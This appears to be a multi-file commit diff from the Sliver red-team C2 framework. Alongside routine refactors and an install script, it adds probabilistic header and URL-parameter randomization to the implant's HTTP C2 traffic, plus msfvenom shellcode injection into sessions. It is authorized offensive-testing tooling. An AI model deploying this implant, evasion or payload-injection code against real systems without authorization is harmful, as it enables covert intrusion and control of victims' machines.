con.Settings.AlwaysOverflow = !con.Settings.AlwaysOverflow
con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow)
}
// SettingsSmallTerm - Modify small terminal width value
func SettingsSmallTerm(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
result := ""
prompt := &survey.Input{Message: "Set small width:"}
err = survey.AskOne(prompt, &result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
newWidth, err := strconv.Atoi(result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if newWidth < 1 {
con.PrintErrorf("Invalid width (too small)\n")
return
}
con.Settings.SmallTermWidth = newWidth
con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth)
}
// SettingsTablesCmd - The client settings command
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
+3 -3
View File
@@ -27,7 +27,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
)
var (
@@ -181,9 +181,9 @@ func PagesOf(renderedTable string) [][]string {
func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
renderedTable := tw.Render()
lineCount := strings.Count(renderedTable, "\n")
if !overflow {
if !overflow || con.Settings.AlwaysOverflow {
// Only paginate if the number of lines is at least 2x the terminal height
width, height, err := terminal.GetSize(0)
width, height, err := term.GetSize(0)
if err == nil && 2*height < lineCount {
if 7 < height {
tw.SetPageSize(height - 6)
+11 -32
View File
@@ -10,13 +10,13 @@ fi
if [ -n "$(command -v yum)" ]
then
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
zip unzip gpg curl build-essential \
gpg curl build-essential \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
fi
@@ -32,12 +32,6 @@ then
echo "awk could not be found"
exit 1
fi
# Zip
if ! command -v zip &> /dev/null
then
echo "zip could not be found"
exit 1
fi
# GPG
if ! command -v gpg &> /dev/null
then
@@ -106,49 +100,34 @@ EOF
# Download and Unpack Sliver Server
#
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
SLIVER_SERVER_ZIP='sliver-server_linux.zip'
SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
SLIVER_SERVER='sliver-server'
SLIVER_CLIENT='sliver-client'
SLIVER_SERVER='sliver-server_linux'
SLIVER_CLIENT='sliver-client_linux'
for URL in $ARTIFACTS
do
if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
done
echo "Verifying signatures ..."
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
if test -f "/root/$SLIVER_SERVER_ZIP"; then
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
rm -f /root/$SLIVER_SERVER_ZIP
else
exit 2
fi
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
if test -f "/root/$SLIVER_SERVER"; then
chmod 755 /root/$SLIVER_SERVER
/root/$SLIVER_SERVER unpack --force
mv /root/$SLIVER_SERVER /root/sliver-server
chmod 755 /root/sliver-server
/root/sliver-server unpack --force
else
exit 3
fi
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
rm -f /root/$SLIVER_CLIENT_ZIP
else
exit 2
fi
if test -f "/root/$SLIVER_CLIENT"; then
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
+2 -2
View File
@@ -137,7 +137,7 @@ func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
return msg, nil
}
// ECCEncryptToPeer - Encrypt using the server's public key
// ECCEncryptToPeer - Encrypt using the peer's public key
func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
if !valid {
@@ -153,7 +153,7 @@ func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, p
return ciphertext, nil
}
// ECCEncryptToPeer - Encrypt using the server's public key
// ECCDecryptFromPeer - Decrypt a message from a peer
func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
if !valid {
+1 -1
View File
@@ -304,7 +304,7 @@ func (p *NetConnPivot) ToProtobuf() *pb.NetConnPivot {
}
}
// Start - Starts the TCP pivot connection handler
// Start - Starts the pivot connection handler
func (p *NetConnPivot) Start(pivots *sync.Map) {
defer func() {
p.conn.Close()
+3 -3
View File
@@ -82,10 +82,10 @@ func init() {
buf := make([]byte, 8)
n, err := rand.Read(buf)
if err != nil || n != len(buf) {
binary.LittleEndian.PutUint64(buf, uint64(time.Now().Unix()))
insecureRand.Seed(time.Now().Unix())
} else {
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
}
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
id, err := uuid.NewV4()
if err != nil {
buf := make([]byte, 16) // NewV4 fails if secure rand fails
@@ -62,11 +62,13 @@ var (
// HTTPOptions - c2 specific configuration options
type HTTPOptions struct {
NetTimeout time.Duration
TlsTimeout time.Duration
PollTimeout time.Duration
MaxErrors int
ForceHTTP bool
NetTimeout time.Duration
TlsTimeout time.Duration
PollTimeout time.Duration
MaxErrors int
ForceHTTP bool
DisableAcceptHeader bool
DisableUpgradeHeader bool
ProxyConfig string
ProxyUsername string
@@ -92,11 +94,13 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
maxErrors = 10
}
return &HTTPOptions{
NetTimeout: netTimeout,
TlsTimeout: tlsTimeout,
PollTimeout: pollTimeout,
MaxErrors: maxErrors,
ForceHTTP: c2URI.Query().Get("force-http") == "true",
NetTimeout: netTimeout,
TlsTimeout: tlsTimeout,
PollTimeout: pollTimeout,
MaxErrors: maxErrors,
ForceHTTP: c2URI.Query().Get("force-http") == "true",
DisableAcceptHeader: c2URI.Query().Get("disable-accept-header") == "true",
DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
ProxyConfig: c2URI.Query().Get("proxy"),
ProxyUsername: c2URI.Query().Get("proxy-username"),
@@ -110,7 +114,7 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
var err error
if !opts.ForceHTTP {
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
client.pollTimeout = opts.PollTimeout
client.Options = opts
client.PathPrefix = pathPrefix
err = client.SessionInit()
if err == nil {
@@ -123,6 +127,8 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
address = fmt.Sprintf("%s:80", address[:len(address)-4])
}
client = httpClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig) // Fallback to insecure HTTP
client.Options = opts
client.PathPrefix = pathPrefix
err = client.SessionInit()
if err != nil {
return nil, err
@@ -133,16 +139,17 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
// SliverHTTPClient - Helper struct to keep everything together
type SliverHTTPClient struct {
Origin string
PathPrefix string
Client *http.Client
ProxyURL string
SessionCtx *cryptography.CipherContext
SessionID string
pollTimeout time.Duration
pollCancel context.CancelFunc
pollMutex *sync.Mutex
Closed bool
Origin string
PathPrefix string
Client *http.Client
ProxyURL string
SessionCtx *cryptography.CipherContext
SessionID string
pollCancel context.CancelFunc
pollMutex *sync.Mutex
Closed bool
Options *HTTPOptions
}
// SessionInit - Initialize the session
@@ -199,13 +206,54 @@ func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri.String(), body)
req.Header.Set("User-Agent", userAgent)
if method == http.MethodGet {
if method == http.MethodGet && !s.Options.DisableAcceptHeader {
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Accept", acceptHeaderValue)
}
if uri.Scheme == "http" {
if uri.Scheme == "http" && !s.Options.DisableUpgradeHeader {
req.Header.Set("Upgrade-Insecure-Requests", "1")
}
type nameValueProbability struct {
Name string
Value string
Probability string
}
// HTTP C2 Profile headers
extraHeaders := []nameValueProbability{
// {{range $header := .HTTPC2ImplantConfig.Headers}}
{Name: "{{$header.Name}}", Value: "{{$header.Value}}", Probability: "{{$header.Probability}}"},
// {{end}}
}
for _, header := range extraHeaders {
probability, _ := strconv.Atoi(header.Probability)
if 0 < probability {
roll := insecureRand.Intn(99) + 1
if probability < roll {
continue
}
}
req.Header.Set(header.Name, header.Value)
}
extraURLParams := []nameValueProbability{
// {{range $param := .HTTPC2ImplantConfig.URLParameters}}
{Name: "{{$param.Name}}", Value: "{{$param.Value}}", Probability: "{{$param.Probability}}"},
// {{end}}
}
queryParams := req.URL.Query()
for _, param := range extraURLParams {
probability, _ := strconv.Atoi(param.Probability)
if 0 < probability {
roll := insecureRand.Intn(99) + 1
if probability < roll {
continue
}
}
queryParams.Set(param.Name, param.Value)
}
req.URL.RawQuery = queryParams.Encode()
return req
}
@@ -235,7 +283,7 @@ func (s *SliverHTTPClient) DoPoll(req *http.Request) (*http.Response, []byte, er
select {
case <-ctx.Done():
done <- ctx.Err()
case <-time.After(s.pollTimeout):
case <-time.After(s.Options.PollTimeout):
// {{if .Config.Debug}}
log.Printf("[http] poll timeout error!")
// {{end}}
@@ -474,7 +522,7 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
for index, segment := range segments {
segments[index] = url.PathEscape(segment)
}
if s.PathPrefix != "" {
if s.PathPrefix != "" && s.PathPrefix != "/" {
segments = append([]string{s.PathPrefix}, segments...)
}
return strings.Join(segments, "/")
@@ -24,7 +24,7 @@ import (
"errors"
)
// NamedPipeConnect - Non windows implementation of the named pipe client
// NamedPipePivotStartSession - Non windows implementation of the named pipe client
func NamedPipePivotStartSession(_ string, _ *NamedPipePivotOptions) (*NetConnPivotClient, error) {
return nil, errors.New("unsupported platform")
}
@@ -20,6 +20,7 @@ package wireguard
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// WireguardConnect - Placeholder for unsupported platforms
func WireguardConnect(_ string, _ uint16) (net.Conn, *device.Device, error) {
return nil, nil, errors.New("{{if .Config.Debug}}WireguardConnect not implemented on this platform{{end}}")
}
+7 -1
View File
@@ -404,7 +404,13 @@ func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
if s.c2Config.ServerConfig.RandomVersionHeaders {
resp.Header().Set("Server", s.getServerHeader())
}
for _, header := range s.c2Config.ServerConfig.ExtraHeaders {
for _, header := range s.c2Config.ServerConfig.Headers {
if 0 < header.Probability && header.Probability < 100 {
roll := insecureRand.Intn(99) + 1
if header.Probability < roll {
continue
}
}
resp.Header().Set(header.Name, header.Value)
}
next.ServeHTTP(resp, req)
+1 -1
View File
@@ -44,7 +44,7 @@ const (
var (
// ErrInvalidDialect - An invalid dialect was specified
ErrInvalidDialect = errors.New("Invalid SQL Dialect")
ErrInvalidDialect = errors.New("invalid SQL Dialect")
databaseConfigLog = log.NamedLogger("config", "database")
)
+57 -18
View File
@@ -35,7 +35,7 @@ import (
const (
httpC2ConfigFileName = "http-c2.json"
chromeBaseVer = 89
chromeBaseVer = 92
)
// HTTPC2Config - Parent config file struct for implant/server
@@ -103,16 +103,17 @@ func (h *HTTPC2Config) RandomImplantConfig() *HTTPC2ImplantConfig {
return config
}
type HTTPHeader struct {
Name string `json:"name"`
Value string `json:"value"`
}
// HTTPC2ServerConfig - Server configuration options
type HTTPC2ServerConfig struct {
RandomVersionHeaders bool `json:"random_version_headers"`
ExtraHeaders []HTTPHeader `json:"headers"`
Cookies []string `json:"cookies"`
RandomVersionHeaders bool `json:"random_version_headers"`
Headers []NameValueProbability `json:"headers"`
Cookies []string `json:"cookies"`
}
type NameValueProbability struct {
Name string `json:"name"`
Value string `json:"value"`
Probability int `json:"probability"`
}
// HTTPC2ImplantConfig - Implant configuration options
@@ -125,9 +126,10 @@ type HTTPC2ServerConfig struct {
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
UserAgent string `json:"user_agent"`
URLParameters []string `json:"url_parameters"`
Headers []string `json:"headers"`
UserAgent string `json:"user_agent"`
URLParameters []NameValueProbability `json:"url_parameters"`
Headers []NameValueProbability `json:"headers"`
MaxFiles int `json:"max_files"`
MinFiles int `json:"min_files"`
@@ -215,8 +217,8 @@ var (
Cookies: []string{
"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS",
},
ExtraHeaders: []HTTPHeader{
{"Cache-Control", "no-store, no-cache, must-revalidate"},
Headers: []NameValueProbability{
{Name: "Cache-Control", Value: "no-store, no-cache, must-revalidate", Probability: 100},
},
},
ImplantConfig: &HTTPC2ImplantConfig{
@@ -288,7 +290,7 @@ func GetHTTPC2Config() *HTTPC2Config {
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
return &defaultHTTPC2Config
}
err = CheckHTTPC2Config(config)
err = checkHTTPC2Config(config)
if err != nil {
httpC2ConfigLog.Errorf("Invalid http c2 config: %s", err)
return &defaultHTTPC2Config
@@ -296,6 +298,35 @@ func GetHTTPC2Config() *HTTPC2Config {
return config
}
// CheckHTTPC2ConfigErrors - Get the current HTTP C2 config
func CheckHTTPC2ConfigErrors() error {
configPath := GetHTTPC2ConfigPath()
if _, err := os.Stat(configPath); os.IsNotExist(err) {
err = generateDefaultConfig(configPath)
if err != nil {
httpC2ConfigLog.Errorf("Failed to generate http c2 config %s", err)
return err
}
}
data, err := ioutil.ReadFile(configPath)
if err != nil {
httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
return err
}
config := &HTTPC2Config{}
err = json.Unmarshal(data, config)
if err != nil {
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
return err
}
err = checkHTTPC2Config(config)
if err != nil {
httpC2ConfigLog.Errorf("Invalid http c2 config: %s", err)
return err
}
return nil
}
func generateDefaultConfig(saveTo string) error {
data, err := json.MarshalIndent(defaultHTTPC2Config, "", " ")
if err != nil {
@@ -317,12 +348,13 @@ var (
ErrMissingSessionFileExt = errors.New("implant config must specify a session_file_ext")
ErrTooFewSessionFiles = errors.New("implant config must specify at least one session_files value")
ErrNonuniqueFileExt = errors.New("implant config must specify unique file extensions")
ErrQueryParamNameLen = errors.New("implant config url query parameter names must be 3 or more characters")
fileNameExp = regexp.MustCompile("[^a-zA-Z0-9\\._-]+")
fileNameExp = regexp.MustCompile(`[^a-zA-Z0-9\\._-]+`)
)
// CheckHTTPC2Config - Validate the HTTP C2 config, coerces common mistakes
func CheckHTTPC2Config(config *HTTPC2Config) error {
// checkHTTPC2Config - Validate the HTTP C2 config, coerces common mistakes
func checkHTTPC2Config(config *HTTPC2Config) error {
err := checkServerConfig(config.ServerConfig)
if err != nil {
return err
@@ -448,5 +480,12 @@ func checkImplantConfig(config *HTTPC2ImplantConfig) error {
allExtensions[ext] = true
}
// Query Parameter Names
for _, queryParam := range config.URLParameters {
if len(queryParam.Name) < 3 {
return ErrQueryParamNameLen
}
}
return nil
}
+3 -3
View File
@@ -51,7 +51,7 @@ func TestDefaultConfig(t *testing.T) {
if err != nil {
t.Fatal(err)
}
err = CheckHTTPC2Config(config)
err = checkHTTPC2Config(config)
if err != nil {
t.Fatal(err)
}
@@ -64,7 +64,7 @@ func TestPollConfig(t *testing.T) {
origPollFileExt := config.ImplantConfig.PollFileExt
for _, ext := range []string{"", ".", "..."} {
config.ImplantConfig.PollFileExt = ext
err := CheckHTTPC2Config(&config)
err := checkHTTPC2Config(&config)
if err != ErrMissingPollFileExt {
t.Fatalf("Parsed '%s' as not missing (%s)", ext, config.ImplantConfig.PollFileExt)
}
@@ -82,7 +82,7 @@ func TestPollConfig(t *testing.T) {
origPollFiles := config.ImplantConfig.PollFiles
for _, empty := range emptyPollFiles {
config.ImplantConfig.PollFiles = empty
err := CheckHTTPC2Config(&config)
err := checkHTTPC2Config(&config)
if err != ErrTooFewPollFiles {
t.Fatalf("Expected too few poll files from %v got %v", empty, err)
}
+5 -1
View File
@@ -31,6 +31,7 @@ import (
consts "github.com/bishopfox/sliver/client/constants"
clienttransport "github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/transport"
"google.golang.org/grpc"
)
@@ -49,11 +50,14 @@ func Start() {
}
conn, err := grpc.DialContext(context.Background(), "bufnet", options...)
if err != nil {
fmt.Printf(Warn+"Failed to dial bufnet: %s", err)
fmt.Printf(Warn+"Failed to dial bufnet: %s\n", err)
return
}
defer conn.Close()
localRPC := rpcpb.NewSliverRPCClient(conn)
if err := configs.CheckHTTPC2ConfigErrors(); err != nil {
fmt.Printf(Warn+"Error in HTTP C2 config: %s\n", err)
}
clientconsole.Start(localRPC, command.BindCommands, serverOnlyCmds, true)
}
+7 -6
View File
@@ -64,7 +64,7 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
arch = beacon.Arch
}
config := msf.VenomConfig{
rawPayload, err := msf.VenomPayload(msf.VenomConfig{
Os: os,
Arch: msf.Arch(arch),
Payload: req.Payload,
@@ -73,8 +73,7 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
Encoder: req.Encoder,
Iterations: int(req.Iterations),
Format: "raw",
}
rawPayload, err := msf.VenomPayload(config)
})
if err != nil {
rpcLog.Warnf("Error while generating msf payload: %v\n", err)
return nil, err
@@ -83,6 +82,7 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
Encoder: "raw",
Data: rawPayload,
RWXPages: true,
Request: req.Request,
}
resp := &sliverpb.Task{Response: &commonpb.Response{}}
err = rpc.GenericHandler(taskReq, resp)
@@ -115,7 +115,8 @@ func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*
os = beacon.OS
arch = beacon.Arch
}
config := msf.VenomConfig{
rawPayload, err := msf.VenomPayload(msf.VenomConfig{
Os: os,
Arch: msf.Arch(arch),
Payload: req.Payload,
@@ -124,8 +125,7 @@ func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*
Encoder: req.Encoder,
Iterations: int(req.Iterations),
Format: "raw",
}
rawPayload, err := msf.VenomPayload(config)
})
if err != nil {
return nil, err
}
@@ -134,6 +134,7 @@ func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*
Encoder: "raw",
Data: rawPayload,
RWXPages: true,
Request: req.Request,
}
resp := &sliverpb.Task{Response: &commonpb.Response{}}
err = rpc.GenericHandler(taskReq, resp)